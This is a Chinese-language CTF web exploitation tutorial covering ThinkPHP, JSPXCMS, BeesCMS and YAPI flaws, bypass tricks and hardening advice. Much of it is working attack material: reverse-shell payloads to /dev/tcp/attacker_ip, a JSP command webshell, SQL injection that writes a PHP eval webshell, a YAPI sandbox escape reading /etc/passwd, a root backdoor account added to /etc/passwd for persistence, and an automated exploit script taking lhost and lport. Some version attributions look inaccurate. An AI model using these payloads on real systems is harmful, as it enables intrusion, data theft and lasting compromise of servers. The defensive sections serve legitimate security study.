DASCTF 2021 WEB漏洞实战:从CMS漏洞到高级绕过技术
1. 漏洞环境搭建与基础准备
在开始漏洞复现之前,我们需要搭建一个可控的测试环境。以下是推荐的环境配置方案:
基础环境要求:
- VMware Workstation 16+ 或 VirtualBox 6.1+
- Ubuntu 20.04 LTS (推荐) 或 Kali Linux 2021.x
- Docker CE 20.10+ (用于容器化漏洞环境)
- Python 3.8+ 环境
工具集安装清单:
# 基础工具 sudo apt update && sudo apt install -y git curl wget vim tmux # 漏洞扫描工具 git clone https://github.com/knownsec/Pocsuite3.git git clone https://github.com/urbanadventurer/WhatWeb # 漏洞利用框架 pip3 install --upgrade pwntools git clone https://github.com/rapid7/metasploit-framework # Web代理工具 wget https://github.com/PortSwigger/burp-suite/releases/download/2021.8.2/burpsuite_community_linux_v2021_8_2.sh chmod +x burpsuite_community_linux_v2021_8_2.sh ./burpsuite_community_linux_v2021_8_2.sh提示:建议使用虚拟环境管理Python依赖,避免版本冲突:
python3 -m venv ~/venv/ctf source ~/venv/ctf/bin/activate
2. ThinkPHP 3.2.3 RCE漏洞深度分析
2.1 漏洞原理剖析
ThinkPHP 3.2.3的远程代码执行漏洞源于框架对控制器名的过滤不严,攻击者可以通过精心构造的请求注入恶意代码。核心问题出现在Dispatcher.class.php文件中的路由解析逻辑:
// 漏洞触发点伪代码 $controller = isset($_GET['c']) ? $_GET['c'] : 'Index'; $action = isset($_GET['a']) ? $_GET['a'] : 'index'; // 未对$controller进行严格过滤 $controllerClass = $controller.'Controller'; new $controllerClass();漏洞利用链:
- 通过
?c=恶意类名注入任意类 - 利用PHP的类自动加载机制
- 最终导致任意代码执行
2.2 漏洞复现步骤
启动漏洞环境(使用官方提供的Docker镜像):
docker run -d -p 8080:80 vulhub/thinkphp:3.2.3验证漏洞存在性:
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1 Host: target:8080完整利用POC(获取反向shell):
import requests url = "http://target:8080/index.php?s=/index/\\think\\app/invokefunction" params = { 'function': 'call_user_func_array', 'vars[0]': 'system', 'vars[1][]': 'bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"' } requests.get(url, params=params)
关键参数说明:
| 参数 | 值 | 作用 |
|---|---|---|
| s | /index/\think\app/invokefunction | 利用命名空间跳转 |
| function | call_user_func_array | 调用PHP回调函数 |
| vars[0] | system | 要执行的系统命令 |
| vars[1][] | 命令内容 | 实际执行的命令参数 |
3. JSPXCMS文件上传Getshell实战
3.1 漏洞背景分析
JSPXCMS v9.0.0及以下版本存在文件上传漏洞,攻击者可以绕过文件类型检查上传恶意JSP文件。漏洞主要成因在于:
- 文件扩展名检查逻辑缺陷
- 未对上传内容进行二次校验
- 上传路径可预测
3.2 分步利用指南
信息收集阶段:
# 识别CMS版本 whatweb http://target:8080/jspxcms制作恶意文件: 创建
shell.jsp文件,内容为:<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %>绕过上传限制: 修改HTTP请求头:
POST /jspxcms/admin/upload.do HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg <恶意JSP代码> ------WebKitFormBoundaryABC123--访问Webshell:
GET /jspxcms/upload/202108/shell.jsp?cmd=whoami HTTP/1.1 Host: target:8080
常见上传绕过技巧对比:
| 绕过方式 | 适用场景 | 示例 |
|---|---|---|
| 双扩展名 | 简单后缀检查 | shell.jsp.jpg |
| 大小写混淆 | 大小写敏感检查 | shell.JsP |
| 空字节截断 | 旧版PHP环境 | shell.php%00.jpg |
| Content-Type篡改 | MIME类型检查 | image/jpeg |
| 文件头伪造 | 内容检查 | GIF89a |
4. BeesCMS SQL注入写文件技术详解
4.1 漏洞形成原理
BeesCMS的SQL注入漏洞出现在后台管理模块,攻击者可以利用该漏洞实现:
- 数据库信息泄露
- 文件系统写入
- 远程代码执行
核心漏洞代码位于admin/model/admin_model.php:
// 危险代码示例 $sql = "SELECT * FROM {pre}admin WHERE username='".$_POST['username']."'"; $result = $this->db->query($sql);4.2 分步骤利用过程
检测注入点:
admin' AND 1=1-- admin' AND 1=2--利用注入写文件:
admin' UNION SELECT null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--注意:实际利用时需要根据环境调整路径和权限
绕过过滤技巧:
- 空格替换为
%a0或/**/ - 关键词混淆:
UNIunionON SELselectECT
- 空格替换为
完整利用链示例:
POST /admin/login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin%27%a0UNIunionON%a0SELselectECT%a0null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%a0INTO%a0OUTOUTFILEFILE%a0%27/var/www/html/shell.php%27--%a0&password=123456
SQL注入写文件关键条件:
| 条件 | 说明 | 验证方法 |
|---|---|---|
| FILE权限 | MySQL用户需有FILE权限 | SELECT file_priv FROM mysql.user WHERE user = '[username]' |
| 安全设置 | secure_file_priv为空 | SHOW VARIABLES LIKE 'secure_file_priv' |
| 路径可写 | 目标路径可写 | 尝试写入无害文件测试 |
5. YAPI原型链污染漏洞利用
5.1 漏洞背景知识
YAPI v1.9.2及以下版本存在原型链污染漏洞(CVE-2020-7699),攻击者可以通过精心构造的JSON数据污染对象原型,最终导致远程代码执行。
原型链污染原理:
// 漏洞代码示例 function merge(target, source) { for (let attr in source) { target[attr] = source[attr]; } } // 恶意输入 let malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}'); merge({}, malicious); // 现在所有对象都会继承polluted属性5.2 漏洞复现步骤
环境搭建:
docker run -d -p 3000:3000 yapi:1.9.2检测漏洞:
const sandbox = this; const ObjectConstructor = this.constructor; const FunctionConstructor = ObjectConstructor.constructor; const myfun = FunctionConstructor('return process'); const process = myfun(); mockJson = process.mainModule.require("child_process").execSync("id").toString();完整利用POC:
POST /api/interface/save HTTP/1.1 Content-Type: application/json { "query_path": { "path": "/test", "params": [] }, "req_body_other": "const sandbox = this;const ObjectConstructor = this.constructor;const FunctionConstructor = ObjectConstructor.constructor;const myfun = FunctionConstructor('return process');const process = myfun();mockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString();" }
原型链污染防御方案对比:
| 防御方式 | 实现方法 | 优点 | 缺点 |
|---|---|---|---|
| 属性过滤 | 检查__proto__等关键字 | 简单直接 | 可能被绕过 |
| 使用Object.create(null) | 创建无原型对象 | 彻底防御 | 需要代码改造 |
| 深度冻结对象 | Object.freeze() | 完全防护 | 性能影响 |
| 安全合并函数 | 检查hasOwnProperty | 平衡方案 | 实现复杂 |
6. 高级绕过技术精讲
6.1 escapeshellarg绕过技术
典型漏洞场景:
$file = escapeshellarg($_GET['file']); system("cat /var/log/nginx/$file");绕过方法:
- 利用编码转换问题(UTF-8到ASCII)
GET /?file=access.log%80 HTTP/1.1 - 结合escapeshellcmd的缺陷
GET /?file='access.log' HTTP/1.1
防御方案:
- 避免连续使用escapeshellarg和escapeshellcmd
- 使用白名单验证输入
- 考虑使用PHP的filter_var过滤
6.2 空格绕过技术
常见绕过方式:
| 替代字符 | URL编码 | 适用场景 |
|---|---|---|
| Tab | %09 | 大多数情况 |
| 不间断空格 | %a0 | 特殊场景 |
| /**/ | %2f%2a%2a%2f | SQL注入 |
| ${IFS} | %24%7b%49%46%53%7d | Bash环境 |
6.3 目录穿越防护绕过
常见技巧:
- 双重编码绕过
GET /?file=..%252f..%252fetc%252fpasswd HTTP/1.1 - 绝对路径绕过
GET /?file=/var/www/html/../../../etc/passwd HTTP/1.1 - 特殊字符截断
GET /?file=../../../etc/passwd%00 HTTP/1.1
防御建议:
- 使用basename()处理文件名
- 实时解析路径后检查是否在允许目录
- 禁用危险字符(../, ~等)
7. 防御加固方案
7.1 CMS通用防护措施
ThinkPHP安全配置:
// 关闭调试模式 'APP_DEBUG' => false, // 开启路由过滤 'URL_ROUTER_ON' => true, // 设置默认过滤函数 'DEFAULT_FILTER' => 'htmlspecialchars',JSPXCMS文件上传加固:
// 修改UploadUtils.java public static boolean isAllowedExtension(String filename) { String[] allowed = {"jpg", "png", "gif"}; String ext = getExtension(filename).toLowerCase(); return Arrays.asList(allowed).contains(ext); }BeesCMS SQL注入防护:
// 使用预处理语句 $stmt = $db->prepare("SELECT * FROM {pre}admin WHERE username=?"); $stmt->execute([$_POST['username']]);
7.2 Web服务器加固建议
Nginx安全配置示例:
# 禁止访问敏感目录 location ~* ^/(\.git|config|backup|admin) { deny all; } # 限制上传文件类型 location ~* \.(php|jsp|asp)$ { deny all; } # 关闭目录列表 autoindex off;Apache安全配置示例:
# 防止目录穿越 <Directory /> AllowOverride None Require all denied </Directory> # 限制危险HTTP方法 <LimitExcept GET POST> Deny from all </LimitExcept>8. 漏洞挖掘方法论
8.1 黑盒测试流程
信息收集阶段:
- CMS指纹识别
- 目录扫描
- 参数枚举
漏洞探测阶段:
# 自动化探测示例 def check_vuln(url): tests = [ ("/index.php?s=/index/\\think\\app/invokefunction", "PHP Version"), ("/admin/login.php", "BeesCMS"), ("/jspxcms/admin/upload.do", "JSPXCMS") ] for path, fingerprint in tests: r = requests.get(url + path) if fingerprint in r.text: return True return False漏洞验证阶段:
- 使用无害命令验证(如whoami)
- 检查响应时间差异
- 分析错误信息
8.2 白盒审计技巧
ThinkPHP常见危险函数:
| 函数 | 风险 | 安全用法 |
|---|---|---|
| eval() | 代码执行 | 避免使用 |
| system() | 命令执行 | 使用escapeshellarg |
| unserialize() | 反序列化 | 使用json_decode |
| extract() | 变量覆盖 | 明确指定EXTR_SKIP |
Java CMS审计要点:
- 检查FileUploadServlet实现
- 查找executeQuery()直接拼接SQL
- 验证反序列化操作是否安全
9. 实战案例:从漏洞发现到利用
9.1 ThinkPHP 3.2.3完整攻击链
信息收集:
curl -I http://target/index.php | grep "ThinkPHP"漏洞验证:
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1获取Webshell:
import requests url = "http://target/index.php?s=/index/\\think\\app/invokefunction" params = { 'function': 'file_put_contents', 'vars[0]': 'shell.php', 'vars[1][]': '<?php system($_GET["cmd"]);?>' } requests.get(url, params=params)权限维持:
# 添加后门账户 echo "backdoor:\$1\$salt\$N9X3I3F5VZMORJ5WZ5WQO0:0:0:/root:/bin/bash" >> /etc/passwd
9.2 自动化漏洞利用脚本
#!/usr/bin/env python3 import requests import sys import urllib.parse def exploit(target, lhost, lport): # ThinkPHP RCE print("[+] Testing ThinkPHP RCE...") try: r = requests.get( f"{target}/index.php?s=/index/\\think\\app/invokefunction", params={ 'function': 'call_user_func_array', 'vars[0]': 'system', 'vars[1][]': f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' }, timeout=10 ) if r.status_code == 200: print("[+] ThinkPHP RCE exploited successfully!") return True except: pass # JSPXCMS File Upload print("[+] Testing JSPXCMS File Upload...") try: files = {'file': ('shell.jsp', '<%@ page import="java.util.*,java.io.*"%><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>')} r = requests.post(f"{target}/jspxcms/admin/upload.do", files=files) if r.status_code == 200 and 'filepath' in r.text: shell_path = r.json()['filepath'] print(f"[+] Webshell uploaded to: {target}{shell_path}") return True except: pass return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target> <lhost> <lport>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])10. 防御体系构建
10.1 分层防御策略
网络层防护:
- 使用WAF拦截常见攻击模式
- 配置IPS规则阻断漏洞利用
- 限制异常请求频率
主机层防护:
# Linux系统加固 chmod -R 750 /var/www/html chown -R www-data:www-data /var/www/html find /var/www/html -type f -name "*.php" -exec chmod 640 {} \;应用层防护:
- 输入验证
$filename = basename($_GET['file']); if (!preg_match('/^[a-z0-9_\-\.]+$/i', $filename)) { die('Invalid filename'); } - 输出编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
10.2 安全监控方案
日志分析规则示例:
# 监控可疑请求 grep -E '(\.\./|eval\(|system\(|passthru\()' /var/log/nginx/access.log # 检测Webshell find /var/www/html -type f -name "*.php" -exec grep -l "eval(" {} \;入侵检测指标:
| 指标 | 危险等级 | 响应措施 |
|---|---|---|
| 连续失败登录 | 中 | 临时封禁IP |
| 可疑文件上传 | 高 | 立即隔离检查 |
| 系统命令执行 | 严重 | 阻断连接并报警 |
| 异常进程创建 | 严重 | 终止进程并取证 |